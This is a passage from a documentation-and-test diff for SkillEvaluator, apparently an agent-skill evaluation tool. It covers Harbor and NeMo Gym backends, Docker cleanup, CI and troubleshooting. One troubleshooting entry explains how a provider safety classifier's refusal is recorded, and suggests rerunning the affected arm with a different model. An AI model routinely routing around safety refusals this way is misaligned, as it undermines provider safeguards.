tuning, local-mode safety controls, and workspace modes live in +[Agents & Sandboxes](/skills/skillevaluator/agents-and-sandboxes). + + +Local mode executes the agent on your host rather than in a container. It is +experimental and intended for trusted skills and workspaces — use Docker or a +cloud backend for untrusted code. + +## Execution backends + +`--backend` chooses what executes the cases. The default is Harbor. The experimental +NeMo Gym adapter stages the same task folders and uses the shared verifier and result +collector, but requires a Gym interface that is not available in the checked public +`nemo-gym==0.7.0` release. + +| Backend | What runs the cases | +| --- | --- | +| `harbor` (default) | Harbor orchestrates the trials, runs the agent and the sandbox. Every `--env-mode` is available. | +| `nemo-gym` | Experimental native Gym task-folder adapter, restricted to `--env-mode docker`. Needs the pinned Gym install below; public Gym 0.7.0 is incompatible and fails preflight. Codex and Claude Code have completed live runs on the pinned Gym. OpenCode currently fails in Gym's agent setup before either arm starts. | + +**Compatibility status:** installing `nemo-gym==0.7.0` does not enable this backend. +That release's `gym eval run` takes JSONL inputs and configured environments; it has +neither the positional task-directory argument nor `--sandbox` used by this adapter. +Removing that flag alone does not provide the required execution or verifier contract. +The immutable public source candidate +[`NVIDIA-NeMo/Gym@792fa142f58277aecff05d402061d647e9a92acf`](https://github.com/NVIDIA-NeMo/Gym/blob/792fa142f58277aecff05d402061d647e9a92acf/nemo_gym/cli/main.py) +declares the `TARGET` task-folder argument and the seven required flags. This source +inspection alone does not establish full runtime support. Beyond the specific live runs +summarized above, broader agent/grading combinations, paired small/custom-Dockerfile +runs and input-file handling still need independent qualification, including their +native execution and verifier artifacts. The agent mappings remain experimental. + +The Claude Code mapping uses the same pinned runtime version as Harbor, installed +by Gym inside the sandbox. It enables native discovery and projects staged skills +into the task workdir's `.claude/skills/` directory because Gym uses a private +Claude configuration directory. The baseline uses the same discovery settings +without the target skill. Gym's required Anthropic credential field receives only +a placeholder; policy credentials remain in the model-server environment. Claude Code +takes its policy endpoint from the same settings as Codex: `SKILL_EVAL_NEMO_GYM_MODEL_URL`, +`SKILL_EVAL_NEMO_GYM_MODEL_API_KEY` and a model from `--model` or +`--agent-model claude-code=MODEL`. + +Install the pinned Gym in its own Python 3.13.14+ environment, separate from +SkillEvaluator's, and check that its `gym eval run --help` lists `TARGET` and `--sandbox`: + +```bash +uv venv --python ">=3.13.14,<3.14" "$HOME/nemo-gym/.venv" +uv pip install --python "$HOME/nemo-gym/.venv/bin/python" \ + "nemo-gym @ git+https://github.com/NVIDIA-NeMo/Gym@792fa142f58277aecff05d402061d647e9a92acf" +"$HOME/nemo-gym/.venv/bin/gym" eval run --help +``` + +Then point SkillEvaluator at it and run: + +```bash +# Requires the pinned Gym install described below. +export SKILL_EVAL_NEMO_GYM_BIN="$HOME/nemo-gym/.venv/bin/gym" +# Codex needs an endpoint that serves the OpenAI Responses API; NVIDIA Build does not. +export SKILL_EVAL_NEMO_GYM_MODEL_URL=https://api.openai.com/v1 +export SKILL_EVAL_NEMO_GYM_MODEL_API_KEY="$OPENAI_API_KEY" +skillevaluator tier3 doctor --backend nemo-gym --agents codex +skillevaluator tier3 evaluate ./my-skill --backend nemo-gym --agents codex --model +``` + +`tier3 doctor --backend nemo-gym` checks the Gym CLI interface and its version, that the Docker +daemon answers, the `SKILL_EVAL_NEMO_GYM_*` settings, each selected agent's policy model +endpoint, and the selected agents and `--env-mode`. The endpoint check uses +an isolated, unauthenticated HTTP probe with a three-second deadline. It honors +`HTTP_PROXY`, `HTTPS_PROXY` and `NO_PROXY` (also lowercase), but sends no endpoint +or proxy credentials and does not follow redirects. Policy endpoint HTTP responses, +including authentication errors, count as reachable. Proxy authentication failures +(`407`), failed HTTPS tunnels, and plain-HTTP proxy gateway errors (`502`, `504`) +fail the check instead. HTTPS origin responses after a successful tunnel still +count as reachable, including `502` and `504`. It does not +validate credentials or model compatibility. The separate CLI interface check runs +`gym eval run --help` with a 15-second timeout and a combined stdout/stderr limit of +256 KiB, without policy credentials or server startup. Timeout, interruption, or output +overflow stops its isolated process group with bounded TERM/KILL cleanup. It rejects +missing task-folder arguments and required flags before dataset +generation or task staging. Passing this necessary check does not certify live runtime +compatibility. A Gym run reports +configuration, Docker image, per-agent and collection progress. + +Public Gym 0.7.0 requires Python 3.13.14 or later. Gym runs as its own pinned install +rather than a SkillEvaluator dependency. Point `SKILL_EVAL_NEMO_GYM_BIN` at that +install's `gym` executable. The run records `execution_backend` (name, Gym version, +sandbox) in `result.json`; keep Harbor and NeMo Gym scores apart unless the model, +harness and judge match. + +The adapter's required Gym contract is `gym eval run TASKS --sandbox docker`, with +`--agent`, `--model-type openai_model`, `--model`, `--model-url`, `--output`, and +`--concurrency`, plus Hydra overrides for repeats, credentials and cache disabling. +Its help must describe a standalone positional `TARGET`, `tasks`, `task_dir`, +`tasks_dir` or `task_folder` argument. Each rollout must identify its task and provide +`verifier_return_code` and `verifier_logs_dir`, where the SkillEvaluator verifier's rewards and trajectory can +be collected. The Gym implementation must execute inside Docker and resolve task +environment templates; a host-only agent harness does not meet this contract. + +The adapter maps `codex`, `claude-code` and `opencode` and accepts `default`, +`default_plus_custom` and `custom_only` grading modes. These are adapter capabilities; +the live-run status in the table above does not qualify every combination. +Every other `--env-mode` (including `local`, `daytona`, `e2b` and `singularity`) is +not supported on the NeMo Gym path and is rejected before the run starts; use +`--backend harbor` for those modes. Unset flags fall back to these `evals/config.yml` keys, as on Harbor: +`harbor.n_attempts`, `pass_threshold`, `n_concurrent`, `max_cases`, `agents..model`, +`resources` (`cpus`, `memory_mb`), `runtime_env`, `grading.mode`, and +`skill_workspace.mode`/`include`. `--skip-baseline`, `--skip-with-skill`, `--max-cases` and +`--agent-model` (one model per agent) apply the same way. `--timeout-multiplier` (or +`harbor.timeout_multiplier`) scales each task's agent, verifier, and environment-build timeouts +as on Harbor, and Gym enforces them. `harbor.agent_workdir` and `harbor.pre_agent_setup` +(alias `setup_commands`, with-skill-only runs) work as on Harbor: Gym starts the agent in +that working directory and runs the setup commands as the task's environment healthcheck +before the agent. `--copy-repo` stages the whole repository under +`/workspace/repo/` as on Harbor, and a `skill_workspace.decoy_manifest` stages the same +verified decoy snapshot into every arm. Native `evals/harbor/` tasks (`task_source: native_harbor`, or +`auto` without `evals/evals.json`) are staged with Harbor's own native staging and run on Gym; their verifiers may write +`reward.json` or a numeric `reward.txt`, and `--override-cpus`/`--override-memory-mb` apply to them, as on Harbor. `harbor.base_image_mode` +(reuse/rebuild) builds Harbor's shared eval base image that the task images start from. `--custom-dockerfile-mode` rebase and preserve +behave as on Harbor. `--environment-kwarg` is rejected, as Harbor rejects it in +Docker mode. It rejects `--stop-on-pass`, +`--harbor-keep-jobs`, `--agent-runtime-preflight`, `--override-storage-mb`, +`--reuse-baseline`, `--compare-to`, `--max-agent-tokens`, `--max-judge-calls`, +`--max-attempts-total`, `--max-cost-usd`, `--price-file`, `--tolerate-baseline-timeouts`, +and the config keys +`resources.storage_mb`, `max_agent_tokens`, `max_judge_calls`, `max_attempts_total`, +`max_cost_usd`, `price_file` and `tolerate_baseline_timeouts: true` under `harbor`, MCP +servers in `evals/environment/mcp_servers.toml` or a native task's `[[environment.mcp_servers]]`, a model URL with embedded credentials, and Windows hosts, +whether set by flag or config (a flag overrides its config key), before anything +starts (`tier3 PATH --autopilot` checks these before it writes a dataset); it never +falls back to Harbor. `runtime_env` (alias `passthrough_env`) entries reach the agent's sandbox as `${NAME}` +references resolved from Gym's environment. Gym receives only the variables Harbor's +Docker backend allows (including `DOCKER_HOST`, `DOCKER_CONTEXT` and TLS settings), +Gym's `UV_*` package-index settings and credentials, `NETRC`, and the policy and judge +credentials; relative Docker and TLS paths are made absolute first. Judge overrides +(`LLM_JUDGE_MODEL`, `SKILL_EVAL_JUDGE_*`) reach Gym's verifier as on Harbor, and Vertex +AI ADC tokens are refreshed before every `gym eval run`. Every agent and arm is staged +from one skill snapshot before the first launch. A missing or failed attempt counts as a +failed trial, and the arm keeps its other scored trials. Excess rollouts are reported +as execution errors and scoring remains bounded by the planned attempts. Any launch +or rollout-count failure marks the +run, the agent's progress row and the report as failed. If Gym's process group cannot be +confirmed stopped after a timeout or interruption, no further arm starts beside it. After a +timeout, the run records that as an execution error, finishes as failed and keeps the scores +of the arms that finished. After an interruption, the progress output reports it and the run +ends. Either way, check for leftover Gym servers and Docker sandboxes before you run again. +A finished run updates `latest` +and records the same dataset snapshot and publication target as a Harbor run. As on +Harbor without `--harbor-keep-jobs`, the staged tasks and per-trial files are removed at +the end; Gym's own redacted `gym.log` and its `rollouts.jsonl` stay under `_nemo-gym/` +in the run folder, and the rollouts hold the raw agent responses. +## Harbor 0.25 compatibility + +The `tier3` extra installs Harbor 0.25.0, the supported Tier 3 backend for this +release. The `[all]` extra includes `tier3`. Existing SkillEvaluator commands do +not change: the public `--agents` and `--env-mode` options map built-in names and +installed adapters to Harbor's unified `--agent` and `--env` selectors. + +The exact Harbor pin is deliberate: its CLI, Python models, result artifacts, +and environment/agent subclass interfaces form one compatibility surface. This +release targets stable Harbor 0.25.0 rather than unreleased `main`. Harbor stays +behind the operator-selected `tier3` extra, so static Tier 1 installs do not pull +it in. The shared LLM client window (`litellm>=1.92.0,<1.94.0.dev0`) admits +patched 1.92 and 1.93 releases validated with this integration while excluding +prerelease and as-yet unvalidated 1.94 behavior. + +The integration preserves SkillEvaluator's runtime and artifact contracts while +using Harbor 0.25: + +- Every Harbor process starts in an empty, evaluator-owned working directory + with `.env` loading and Harbor telemetry disabled. Harbor ignores `.env.local` + and `.env` files around your project, so it sees only SkillEvaluator's + allowlisted environment. Relative host paths such as `KUBECONFIG` keep their + meaning. Disabling `.env` loading needs python-dotenv 1.2.0 or newer, which + the `tier3` extra requires; with an older release, `doctor` and + `tier3 evaluate` fail the prerequisite check until you reinstall the extra. +- Codex runs with `reasoning_effort=high`, the effort Harbor 0.22 used by + default, so results stay comparable across Harbor upgrades. +- Harbor installs Codex 0.161.0, Claude Code 2.1.292 and OpenCode 1.19.5 + rather than the latest release, so a new CLI release does not change + results. Claude Code runs Claude 5.5 and later models with + `reasoning_effort=medium`. Local mode uses your installed CLIs and checks + that they are new enough for the model. +- Installed Codex adapters merge existing user and MCP configuration before the + selected runtime provider and endpoint take precedence over conflicting route + keys. +- Docker, Kata, and local execution stream stdout and stderr through secret redaction + before Harbor callbacks receive them. Each command has a 16 MiB combined raw + stdout/stderr limit; exceeding it terminates the command process tree and + fails the trial instead of returning partial output. +- The parent Harbor orchestration process has its own 16 MiB combined + stdout/stderr limit for the full job. Overflow or timeout terminates and reaps + the Harbor POSIX process group or Windows task tree while retaining only a + bounded, redacted diagnostic tail. A POSIX process that deliberately creates + a new session can escape process-group cleanup, so the host-side Harbor CLI, + configuration, and local-mode skills must be trusted. Run untrusted evaluated + workloads in Docker or another isolated Harbor backend instead of local mode. +- Ctrl+C stops the whole run. Agents still waiting for a `--max-agents` slot, + queued conditions, and remaining `--stop-on-pass` attempts never start. Each + running Harbor job receives SIGTERM, which Harbor handles by stopping its + trial environments, and has up to 30 seconds to exit before its POSIX process + group is killed and reaped. The progress view shows the agents that are + stopping; a second Ctrl+C skips the wait. On Windows the Harbor task tree is + stopped immediately. The progress view marks unfinished stages as + interrupted. +- A skipped or exceeded Ctrl+C wait, a Ctrl+C on Windows, or a SkillEvaluator + process that is killed rather than interrupted (for example with `kill` or by + a cancelled CI job) can leave trial containers or in-container agent + processes running, and the trials' Compose networks behind. Each leftover + network keeps a subnet from Docker's limited default address pools. Harbor's + Docker backends name each Compose project after its trial, so + `docker ps -a --filter label=com.docker.compose.project` and + `docker network ls --filter label=com.docker.compose.project` list the + candidates; check their project names before removing the containers with + `docker rm -f` and then the networks with `docker network rm`. +- Docker accepts Harbor stdin payloads and isolates main-container execution + from sidecar operations without placing environment values on Compose argv. + For NVIDIA Build, the credential reaches the trusted parent over stdin; each + main-container exec then uses a short-lived, container-only stdin handoff that + is removed before the requested command runs. +- Native Windows main-container artifact transfer requires `tar` in the image + and accepts regular files and directories only. Links, junctions, hardlinks, + sparse files, special files, compressed streams, and unsafe or colliding + Windows path spellings fail closed before publication. +- Generated tasks retain schema 1.3, which Harbor 0.25 accepts. User-owned native + tasks, including schema 1.4, are staged without a schema rewrite. Collection + accepts Harbor 0.25 job, trial, reward, and ATIF v1.8 artifacts, including + single-step `step_results: null`, authoritative multi-step results, and + multimodal tool output, which judges and reports see as text with + `[image]`/`[audio]` markers. +- Native tasks follow Harbor 0.25's separate-verifier precedence. For a verify + pass that runs in a separate verifier container, a `docker_image` in the step + or task `[verifier.environment]`, or a `Dockerfile` or `docker-compose.yaml` + in the step or task `tests/` directory, defines a dedicated verifier that + must ship its own test script and never receives SkillEvaluator's grader. + Otherwise the separate verifier is built from `environment/` and receives the + uploaded tests. SkillEvaluator validates the verifier's Compose model against + its environment allowlist, and rejects `docker-compose.yml` verifier + definitions, which Harbor ignores. Standard grading modes reject separate + verifiers entirely; see [Custom Graders & Tasks](/skills/skillevaluator/custom-graders). +- Harbor 0.25 rejects a `reward.json` whose top-level values are not all + finite numbers. SkillEvaluator's verifier and wrapped custom graders already + write numeric rewards; a native task's own test script must do the same. When + Harbor's job statistics do not account for every trial, the failure names the + first trial or step exception Harbor recorded, such as + `VerifierOutputParseError`, instead of reporting only a trial count. +## Two ways to run Tier 3 + +| Use case | Command | When to use | +| --- | --- | --- | +| Full validation | `skillevaluator validate ./my-skill` | Run all three tiers; Tier 3 uses autopilot and is advisory by default, optionally blocking | +| Focused evaluation | `skillevaluator tier3 evaluate ./my-skill --agents codex` | Iterate on datasets, agents, environments, and grading settings | + +Attached to `validate`, Tier 3 is advisory by default: its results appear in the +combined reports without changing the exit code. Add `--block-on-agent-eval` +to make its findings gate, including evidence that the selected YAML/JSON +dataset or native Harbor source is missing or invalid. A blocking Tier 3 passes +only with a completed `PASS` verdict and complete attempt coverage; `NEUTRAL` +and `FAIL` verdicts exit 1. Autopilot is enabled +by default for skills: it generates one starter case when no source exists and +reuses valid existing sources unchanged. `--full` remains supported but is +unnecessary. Use `--tiers 1,2` or `--no-tier3` to skip live evaluation; +`--no-autopilot` requires an existing evaluation source. + +```bash title="Make attached Tier 3 blocking" +skillevaluator validate ./my-skill --agents codex \ + --block-on-agent-eval +``` + + +`validate` forwards a dedicated Tier 3 flag group (`--agents`, `--env-mode`, +`--grading-mode`, and the rest) to the live-eval engine whenever Tier 3 is +enabled, which is the default for skills. `--agent-eval` remains a supported +alias for `--tier3`; explicit tier selection and disable flags control the +scope. See the [CLI Reference](/skills/skillevaluator/cli-reference) for the full group. + +## Paired Tier 3 in automatic CI + +The [all-tier CI setup](/skills/skillevaluator/advanced-ci) consumes +committed native `evals/` datasets with full coverage. It runs each selected +case both with and without the skill; it does not use autopilot, generate new +cases, or skip the baseline. Docker is the default, with native local mode as +the other supported CI environment. Cloud backends remain available through +the expert CLI but are outside this onboarding path. + +Tier 3 and Tier 2 are advisory; only Tier 1 gates CI. Onboarding's +`--tier3-required`, GitHub's `tier3-required` input and GitLab's +`SKILL_EVAL_TIER3_REQUIRED` variable are deprecated and ignored, even when true; +they cannot make Tier 3 block CI. CI preserves native +reports for missing credentials, readiness failures and partial runs as well +as completed scores. Native reports include coverage and paired arm evidence, +Skill Lift, attempts, available latency/resource metrics and trial links. An +incomplete advisory result is visible and never described as a completed pass. +See [retained CI evidence](https://github.com/NVIDIA/SkillEvaluator/blob/main/ci/templates/all-tiers/README.md#retained-three-tier-ci-evidence). + +## Troubleshooting + + + + Set `SKILL_EVAL_LLM_PROVIDER` and the corresponding evaluator-provider key. + See [Providers & Credentials](/skills/skillevaluator/configuration). + + + Export the agent's credential in the host environment where you run + `skillevaluator` — agent credentials are read only from the host, never + from `evals/config.yml`. It is a separate role from the evaluator key, + except with `nv_build` in Docker, Kata, or local mode, where one + `NVIDIA_API_KEY` covers both. + + + Start Docker or configure the selected `--env-mode`, then re-run + `skillevaluator doctor` with the same agent and environment. + + + A trial's Compose project normally creates its own Docker network, and + Docker carves each one from a limited set of default address pools. Each + running trial holds a network, so a run holds up to `--n-concurrent` + networks for each agent running in parallel, and up to `--max-agents` + agents run in parallel, every selected agent by default. Networks that + interrupted or killed runs left behind, or too many trials at once, can use + the pools up. Docker then fails to create the next trial's network with + this error, or with `could not find an available, non-overlapping IPv4 + address pool`, and the trial's failure reason names the cause ahead of + Docker's message. List the leftover trial containers and networks with + `docker ps -a --filter label=com.docker.compose.project` and + `docker network ls --filter label=com.docker.compose.project`, check their + project names, and remove the containers with `docker rm -f` and then the + networks with `docker network rm`. Then rerun, with a lower + `--n-concurrent` or `--max-agents` if the pools still run out. + + + Write task requests and observable outcomes in `eval-guidance.md`, then run + `skillevaluator create-eval-dataset ./my-skill --prompt eval-guidance.md`. + For explicit skill-only generation, use + `skillevaluator create-eval-dataset ./my-skill --grounding skill`, or author an + accepted dataset file under `evals/`. See + [Eval Datasets](/skills/skillevaluator/eval-datasets). + + + Supply a model valid for that agent with `--agent-model AGENT=MODEL`. The + evaluator provider's default model is not automatically valid for every + agent. + + + The model provider's safety classifier stopped the selected model on that + case. SkillEvaluator turns Claude Code's refusal model fallback off + (`CLAUDE_CODE_DISABLE_REFUSAL_FALLBACK=1` in every staged task), so the + attempt ends on the selected model instead of retrying on another one. + Like any other failed trial, the attempt is not scored, so the arm no + longer has complete attempt coverage and its execution fails: after one + refusal in 20 cases with 3 attempts each, the run's `result.json` records + `Scored attempt coverage is 59/60`. `tier3 evaluate` then exits 1, and so + does `validate --block-on-agent-eval`. `tier3 evaluate --verbose` lists the + refused trial and its `AgentSafetyRefusalError` in the terminal. The + execution errors in `result.json` call it an `Unscoreable reward`, not an + agent runtime failure, because a refusal is the model's response to the + case rather than an infrastructure failure. Review the case prompt and the + skill content that the agent read, then rerun, or run the arm with another + model through `--agent-model claude-code=MODEL`. See + [Agents & Sandboxes](/skills/skillevaluator/agents-and-sandboxes#supported-agents). + + + Re-run with `--harbor-keep-jobs` — Harbor artifacts are transient and + deleted by default whether the run succeeds or fails. With retention on, + the Artifacts panel prints the exact + `skillevaluator tier3 harbor-view ` command to browse the + retained jobs; `skillevaluator view` opens the HTML report. + + + diff --git a/fern/docs.yml b/fern/docs.yml index 9dfc96a39..6577e498e 100644 --- a/fern/docs.yml +++ b/fern/docs.yml @@ -32,18 +32,27 @@ navigation: - page: Quickstart path: ../docs/quickstart.mdx slug: quickstart - - page: Reproducible Terminal Demo - path: ../docs/starter-demo.mdx - slug: starter-demo + - page: "Tier 3: First Run" + path: ../docs/tier3-live-evaluation.mdx + slug: tier3-live-evaluation + - page: Repository Integration + path: ../docs/repository-integration.mdx + slug: repository-integration + - page: Evaluate from Your Agent + path: ../docs/agent-skill.mdx + slug: agent-skill + - section: Set Up + skip-slug: true + contents: - page: Installation path: ../docs/installation.mdx slug: installation - page: Providers & Credentials path: ../docs/configuration.mdx slug: configuration - - page: Evaluate from Your Agent - path: ../docs/agent-skill.mdx - slug: agent-skill + - page: Agents & Sandboxes + path: ../docs/agents-and-sandboxes.mdx + slug: agents-and-sandboxes - section: Evaluate Your Skill skip-slug: true contents: @@ -56,9 +65,6 @@ navigation: - page: "Tier 2: Deduplication" path: ../docs/tier2-deduplication.mdx slug: tier2-deduplication - - page: "Tier 3: Live Evaluation" - path: ../docs/tier3-live-evaluation.mdx - slug: tier3-live-evaluation - page: Grader Validation path: ../docs/grader-validation.mdx slug: grader-validation @@ -68,12 +74,12 @@ navigation: - page: Trace Datasets path: ../docs/trace-datasets.mdx slug: trace-datasets - - page: Agents & Sandboxes - path: ../docs/agents-and-sandboxes.mdx - slug: agents-and-sandboxes - page: Custom Graders & Tasks path: ../docs/custom-graders.mdx slug: custom-graders + - page: Reproducible Terminal Demo + path: ../docs/starter-demo.mdx + slug: starter-demo - section: Results & CI skip-slug: true contents: @@ -89,9 +95,6 @@ navigation: - page: "BENCHMARK.md Rollout and Backfill" path: ../docs/benchmark-rollout.mdx slug: benchmark-rollout - - page: Repository Integration - path: ../docs/repository-integration.mdx - slug: repository-integration - page: GitHub Actions path: ../docs/github-actions.mdx slug: github-actions @@ -107,6 +110,24 @@ navigation: - section: Reference skip-slug: true contents: + - section: Live Evaluation + skip-slug: true + contents: + - page: Prepare and Tune a Run + path: ../docs/tier3-run-options.mdx + slug: tier3-run-options + - page: Interpret Results + path: ../docs/tier3-results.mdx + slug: tier3-results + - page: Grading and Evidence + path: ../docs/tier3-grading.mdx + slug: tier3-grading + - page: Runtime and Backends + path: ../docs/tier3-runtime.mdx + slug: tier3-runtime + - page: Interaction and Activation + path: ../docs/tier3-experiments.mdx + slug: tier3-experiments - page: CLI Reference path: ../docs/cli-reference.mdx slug: cli-reference diff --git a/tests/reporting/test_applicability_saved_runs.py b/tests/reporting/test_applicability_saved_runs.py index 5ced1e345..18f674006 100644 --- a/tests/reporting/test_applicability_saved_runs.py +++ b/tests/reporting/test_applicability_saved_runs.py @@ -413,7 +413,7 @@ def test_with_skill_na_dimension_never_lets_the_agent_pass(tmp_path, with_scores def test_docs_name_only_the_shared_outcome_of_a_with_skill_na_dimension(): # The other dimensions and the skill's activation decide which verdict other than PASS applies, # so the N/A paragraph must not name one; the verdict table covers that. - docs = (Path(__file__).resolve().parents[2] / "docs" / "tier3-live-evaluation.mdx").read_text(encoding="utf-8") + docs = (Path(__file__).resolve().parents[2] / "docs" / "tier3-results.mdx").read_text(encoding="utf-8") normalized = " ".join(docs.split()) start = normalized.index("An agent's verdict reads only the with-skill arm") paragraph = normalized[start : normalized.index("does not affect the verdict.", start)] diff --git a/tests/reporting/test_tier3_completed_agent_docs.py b/tests/reporting/test_tier3_completed_agent_docs.py index a0bd14e9a..c91e88124 100644 --- a/tests/reporting/test_tier3_completed_agent_docs.py +++ b/tests/reporting/test_tier3_completed_agent_docs.py @@ -391,7 +391,7 @@ def test_tier3_benchmark_gives_its_own_reason_for_not_assessed() -> None: def test_results_tree_and_tier3_guide_point_to_the_section() -> None: page = _reports_page() - guide = (REPO / "docs" / "tier3-live-evaluation.mdx").read_text(encoding="utf-8") + guide = (REPO / "docs" / "tier3-results.mdx").read_text(encoding="utf-8") assert " - tier3-benchmark.md\n" in page every_run = "At the end of every Tier 3 run, from `tier3 evaluate` or a `validate` run that includes Tier 3" diff --git a/tests/test_accuracy_arithmetic.py b/tests/test_accuracy_arithmetic.py index 751803e75..cb8601269 100644 --- a/tests/test_accuracy_arithmetic.py +++ b/tests/test_accuracy_arithmetic.py @@ -51,7 +51,7 @@ def test_accuracy_criteria_grade_the_outcome_not_skill_use(accuracy_judge): def test_tier3_docs_describe_criterion_derived_accuracy(): - docs = (Path(__file__).resolve().parents[1] / "docs" / "tier3-live-evaluation.mdx").read_text(encoding="utf-8") + docs = (Path(__file__).resolve().parents[1] / "docs" / "tier3-grading.mdx").read_text(encoding="utf-8") normalized = " ".join(docs.split()) assert "passing criteria divided by five" in normalized diff --git a/tests/test_benchmark_rollout_docs.py b/tests/test_benchmark_rollout_docs.py index 3af9b3f27..8300aff5a 100644 --- a/tests/test_benchmark_rollout_docs.py +++ b/tests/test_benchmark_rollout_docs.py @@ -61,7 +61,7 @@ def test_ci_runs_benchmark_gate_with_project_dependencies() -> None: def test_tier3_reference_uses_canonical_dimension_mapping() -> None: - reference = (REPO / "docs/tier3-live-evaluation.mdx").read_text(encoding="utf-8") + reference = (REPO / "docs/tier3-results.mdx").read_text(encoding="utf-8") assert "| Security | Is it safe to use? | `security` | 1.0 |" in reference assert "| Correctness | Is the answer correct? | `accuracy` | 1.0 |" in reference diff --git a/tests/test_harbor_claude_refusal_fallback.py b/tests/test_harbor_claude_refusal_fallback.py index 333f4d33e..a32ea7f8b 100644 --- a/tests/test_harbor_claude_refusal_fallback.py +++ b/tests/test_harbor_claude_refusal_fallback.py @@ -255,7 +255,7 @@ def _refusal_doc_texts() -> dict[str, str]: entry = corrections[0] blocks = (root / "docs" / "agents-and-sandboxes.mdx").read_text(encoding="utf-8").split("\n\n") [index] = [index for index, block in enumerate(blocks) if f"{_SWITCH}=1" in block] - troubleshooting = (root / "docs" / "tier3-live-evaluation.mdx").read_text(encoding="utf-8") + troubleshooting = (root / "docs" / "tier3-runtime.mdx").read_text(encoding="utf-8") [accordion] = re.findall( r'(.*?)', troubleshooting, @@ -264,7 +264,7 @@ def _refusal_doc_texts() -> dict[str, str]: texts = { "CHANGELOG.md": entry, "agents-and-sandboxes.mdx": "\n\n".join(blocks[index : index + 2]), - "tier3-live-evaluation.mdx": accordion, + "tier3-runtime.mdx": accordion, } return {name: " ".join(text.split()) for name, text in texts.items()} @@ -378,9 +378,9 @@ def test_a_refused_attempt_fails_attempt_coverage_as_the_docs_say(tmp_path: Path ): assert token in text, (name, token) # The model is chosen per agent, not per case. - for name in ("CHANGELOG.md", "tier3-live-evaluation.mdx"): + for name in ("CHANGELOG.md", "tier3-runtime.mdx"): assert "`--agent-model claude-code=MODEL`" in texts[name], name - assert "`Unscoreable reward`" in texts["tier3-live-evaluation.mdx"] + assert "`Unscoreable reward`" in texts["tier3-runtime.mdx"] @pytest.mark.parametrize("skip_baseline", [True, False], ids=["with-skill-only", "with-baseline"]) @@ -395,7 +395,7 @@ def test_verbose_evaluate_output_lists_the_refused_trial(tmp_path: Path, skip_ba render_evaluation_result(results, console=Console(file=stream, force_terminal=False, width=200), verbose=True) assert f"{refused}: AgentSafetyRefusalError: Command failed (exit 1)" in stream.getvalue() - assert "`tier3 evaluate --verbose`" in _refusal_doc_texts()["tier3-live-evaluation.mdx"] + assert "`tier3 evaluate --verbose`" in _refusal_doc_texts()["tier3-runtime.mdx"] @pytest.mark.parametrize( diff --git a/tests/test_harbor_scaffold_transactions.py b/tests/test_harbor_scaffold_transactions.py index d453805b4..331c854a2 100644 --- a/tests/test_harbor_scaffold_transactions.py +++ b/tests/test_harbor_scaffold_transactions.py @@ -190,7 +190,7 @@ def test_scaffold_rejects_contract_invalid_existing_dataset_before_publish( def test_docs_limit_the_empty_expected_output_rejection_to_the_object_shape(tmp_path: Path) -> None: # Only the {"skill_name", "evals"} shape requires a reference; a flat dataset is # legacy, so an empty one is accepted and leaves accuracy and goal_accuracy N/A. - docs = (Path(__file__).resolve().parents[1] / "docs" / "tier3-live-evaluation.mdx").read_text(encoding="utf-8") + docs = (Path(__file__).resolve().parents[1] / "docs" / "tier3-results.mdx").read_text(encoding="utf-8") normalized = " ".join(docs.split()) assert 'reject an empty `expected_output` only in a `{"skill_name", "evals"}` dataset' in normalized assert ( diff --git a/tests/test_oss_packaging.py b/tests/test_oss_packaging.py index 378021c73..b0eca64ef 100644 --- a/tests/test_oss_packaging.py +++ b/tests/test_oss_packaging.py @@ -318,7 +318,7 @@ def test_public_docs_match_harbor_environment_and_kwarg_contract() -> None: agents = (REPO_ROOT / "docs" / "agents-and-sandboxes.mdx").read_text(encoding="utf-8") cli_reference = (REPO_ROOT / "docs" / "cli-reference.mdx").read_text(encoding="utf-8") configuration = (REPO_ROOT / "docs" / "configuration.mdx").read_text(encoding="utf-8") - tier3 = (REPO_ROOT / "docs" / "tier3-live-evaluation.mdx").read_text(encoding="utf-8") + tier3 = (REPO_ROOT / "docs" / "tier3-runtime.mdx").read_text(encoding="utf-8") eval_config = (REPO_ROOT / "docs" / "eval-datasets.mdx").read_text(encoding="utf-8") public_docs = f"{agents}\n{cli_reference}\n{configuration}\n{tier3}\n{eval_config}" normalized_docs = " ".join(public_docs.split()) @@ -844,8 +844,9 @@ def test_public_docs_show_tier_two_collection_and_catalog_workflows() -> None: def test_public_docs_show_external_nvidia_build_harness_paths_only() -> None: readme = (REPO_ROOT / "README.md").read_text(encoding="utf-8") configuration = (REPO_ROOT / "docs" / "configuration.mdx").read_text(encoding="utf-8") - tier3 = (REPO_ROOT / "docs" / "tier3-live-evaluation.mdx").read_text(encoding="utf-8") - public_docs = f"{readme}\n{configuration}\n{tier3}" + tier3 = (REPO_ROOT / "docs" / "tier3-run-options.mdx").read_text(encoding="utf-8") + runtime = (REPO_ROOT / "docs" / "tier3-runtime.mdx").read_text(encoding="utf-8") + public_docs = f"{readme}\n{configuration}\n{tier3}\n{runtime}" assert f"`{CHAT_DEFAULT_OPENAI}`" in public_docs assert "gpt-5.4-mini" in public_docs @@ -899,7 +900,7 @@ def test_fern_docs_use_the_verified_skills_basepath_and_launch_positioning() -> def test_tier3_docs_explain_cost_controls_and_local_mode_tradeoffs() -> None: - tier3 = (REPO_ROOT / "docs" / "tier3-live-evaluation.mdx").read_text(encoding="utf-8") + tier3 = (REPO_ROOT / "docs" / "tier3-run-options.mdx").read_text(encoding="utf-8") normalized = " ".join(tier3.split()) assert "eval cases \u00d7 agents \u00d7 attempts \u00d7 arms" in normalized @@ -914,7 +915,7 @@ def test_tier3_docs_explain_cost_controls_and_local_mode_tradeoffs() -> None: def test_tier3_docs_name_the_supported_harbor_backend_version() -> None: - tier3 = (REPO_ROOT / "docs" / "tier3-live-evaluation.mdx").read_text(encoding="utf-8") + tier3 = (REPO_ROOT / "docs" / "tier3-runtime.mdx").read_text(encoding="utf-8") normalized = " ".join(tier3.split()) assert f"The `tier3` extra installs Harbor {HARBOR_VERSION}" in normalized @@ -1024,7 +1025,7 @@ def test_harbor_atif_and_agent_eval_alias_are_defined() -> None: REPO_ROOT / "docs" / "eval-datasets.mdx", REPO_ROOT / "docs" / "installation.mdx", REPO_ROOT / "docs" / "reports.mdx", - REPO_ROOT / "docs" / "tier3-live-evaluation.mdx", + REPO_ROOT / "docs" / "tier3-results.mdx", ] for path in harbor_pages: @@ -1036,7 +1037,7 @@ def test_harbor_atif_and_agent_eval_alias_are_defined() -> None: content = (REPO_ROOT / "docs" / name).read_text(encoding="utf-8") assert "Agent Trajectory Interchange Format (ATIF)" in content - for name in ("cli-reference.mdx", "tier3-live-evaluation.mdx"): + for name in ("cli-reference.mdx", 